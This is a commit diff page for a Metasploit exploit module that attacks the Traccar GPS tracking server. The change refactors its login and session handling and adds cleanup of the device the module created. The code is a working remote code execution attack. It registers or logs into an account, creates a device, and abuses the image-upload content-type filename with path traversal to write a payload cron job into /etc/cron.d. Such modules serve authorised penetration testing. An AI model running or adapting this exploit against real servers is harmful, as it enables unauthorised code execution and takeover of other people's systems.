Skip to content

Commit 30e6af7

Browse files
committed
cleanup
Code cleanup and better handling of different use cases.
1 parent a39c407 commit 30e6af7

File tree

1 file changed

+80
-34
lines changed

1 file changed

+80
-34
lines changed

modules/exploits/linux/http/traccar_rce_upload.rb

Lines changed: 80 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,9 @@ def initialize(info = {})
4242
}
4343
]
4444
],
45+
'Payload' => {
46+
'BadChars' => "\x27" # apostrophe (')
47+
},
4548
'DefaultTarget' => 0,
4649
'DefaultOptions' => {
4750
'WfsDelay' => 75
@@ -89,10 +92,11 @@ def check
8992
end
9093

9194
def exploit
95+
prepare_setup
9296
execute_command(payload.encoded)
9397
end
9498

95-
def execute_command(cmd)
99+
def prepare_setup
96100
print_status('Registering new user...')
97101
body = {
98102
name: datastore['USERNAME'],
@@ -112,11 +116,39 @@ def execute_command(cmd)
112116
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
113117
end
114118

119+
auth_status = false
120+
115121
# not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error
116122
# to run into when this module is executed more than once without updating the provided email address
117123
if res.code == 400 && res.to_s.include?('Unique index or primary key violation')
118-
vprint_status(res.to_s)
119-
fail_with(Failure::UnexpectedReply, 'Error: The same E-mail already exists on the system')
124+
print_status('The same E-mail already exists on the system, trying to authenticate with existing password...')
125+
res = send_request_cgi(
126+
'method' => 'POST',
127+
'keep_cookies' => true,
128+
'uri' => normalize_uri(target_uri.path, 'api/session'),
129+
'ctype' => 'application/x-www-form-urlencoded',
130+
'vars_post' => {
131+
'email' => datastore['EMAIL'],
132+
'password' => datastore['PASSWORD']
133+
}
134+
)
135+
136+
unless res
137+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
138+
end
139+
140+
jsessionid = res.get_cookies.scan(/JSESSIONID=([^;]+)/).flatten[0]
141+
fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.') unless jsessionid
142+
vprint_status("JSESSIONID: #{jsessionid}")
143+
144+
json = res.get_json_document
145+
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
146+
print_status('Provide the correct password for the existing E-Mail address, or provide a new E-Mail address.')
147+
fail_with(Failure::UnexpectedReply, res.to_s)
148+
end
149+
150+
auth_status = true
151+
120152
end
121153

122154
unless res.code == 200
@@ -129,30 +161,35 @@ def execute_command(cmd)
129161
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
130162
end
131163

132-
print_status('Authenticating...')
133-
res = send_request_cgi(
134-
'method' => 'POST',
135-
'uri' => normalize_uri(target_uri.path, 'api/session'),
136-
'ctype' => 'application/x-www-form-urlencoded',
137-
'vars_post' => {
138-
'email' => datastore['EMAIL'],
139-
'password' => datastore['PASSWORD']
140-
}
141-
)
164+
if auth_status == false
165+
print_status('Authenticating...')
166+
res = send_request_cgi(
167+
'method' => 'POST',
168+
'keep_cookies' => true,
169+
'uri' => normalize_uri(target_uri.path, 'api/session'),
170+
'ctype' => 'application/x-www-form-urlencoded',
171+
'vars_post' => {
172+
'email' => datastore['EMAIL'],
173+
'password' => datastore['PASSWORD']
174+
}
175+
)
142176

143-
unless res
144-
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
145-
end
177+
unless res
178+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
179+
end
146180

147-
jsessionid = res.get_cookies.scan(/JSESSIONID=([^;]+)/).flatten[0]
148-
fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.') unless jsessionid
149-
vprint_status("JSESSIONID: #{jsessionid}")
181+
jsessionid = res.get_cookies.scan(/JSESSIONID=([^;]+)/).flatten[0]
182+
fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.') unless jsessionid
183+
vprint_status("JSESSIONID: #{jsessionid}")
150184

151-
json = res.get_json_document
152-
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
153-
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
185+
json = res.get_json_document
186+
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
187+
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
188+
end
154189
end
190+
end
155191

192+
def execute_command(cmd)
156193
name_v = Rex::Text.rand_text_alphanumeric(16)
157194
unique_id_v = Rex::Text.rand_text_alphanumeric(16)
158195

@@ -165,9 +202,7 @@ def execute_command(cmd)
165202
res = send_request_cgi(
166203
'method' => 'POST',
167204
'uri' => normalize_uri(target_uri.path, 'api/devices'),
168-
'headers' => {
169-
'Cookie' => "JSESSIONID=#{jsessionid}"
170-
},
205+
'keep_cookies' => true,
171206
'ctype' => 'application/json',
172207
'data' => body
173208
)
@@ -190,9 +225,7 @@ def execute_command(cmd)
190225
res = send_request_cgi(
191226
'method' => 'POST',
192227
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
193-
'headers' => {
194-
'Cookie' => "JSESSIONID=#{jsessionid}"
195-
},
228+
'keep_cookies' => true,
196229
'ctype' => 'image/png',
197230
'data' => body
198231
)
@@ -208,9 +241,7 @@ def execute_command(cmd)
208241
res = send_request_cgi(
209242
'method' => 'POST',
210243
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
211-
'headers' => {
212-
'Cookie' => "JSESSIONID=#{jsessionid}"
213-
},
244+
'keep_cookies' => true,
214245
'ctype' => "image/png;#{fn}=\"/b\"",
215246
'data' => body
216247
)
@@ -229,9 +260,7 @@ def execute_command(cmd)
229260
res = send_request_cgi(
230261
'method' => 'POST',
231262
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
232-
'headers' => {
233-
'Cookie' => "JSESSIONID=#{jsessionid}"
234-
},
263+
'keep_cookies' => true,
235264
'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"",
236265
'data' => body
237266
)
@@ -246,6 +275,23 @@ def execute_command(cmd)
246275
fail_with(Failure::UnexpectedReply, res.to_s)
247276
end
248277

278+
vprint_status('Cleanup: Deleting previously added device...')
279+
res = send_request_cgi(
280+
'method' => 'DELETE',
281+
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}"),
282+
'headers' => {
283+
'Connection' => 'close'
284+
}
285+
)
286+
287+
unless res
288+
print_bad('Failed to receive a reply from the server, device removal might have failed.')
289+
end
290+
291+
unless res.code == 204
292+
print_bad('Received unexpected reply, device removal might have failed:\n' + res.to_s)
293+
end
294+
249295
# It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early
250296
print_status('Cronjob successfully written - waiting for execution...')
251297
end

0 commit comments

Comments
 (0)